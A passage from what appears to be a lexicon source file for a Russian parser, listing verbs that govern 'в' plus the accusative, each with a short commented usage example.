// назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в 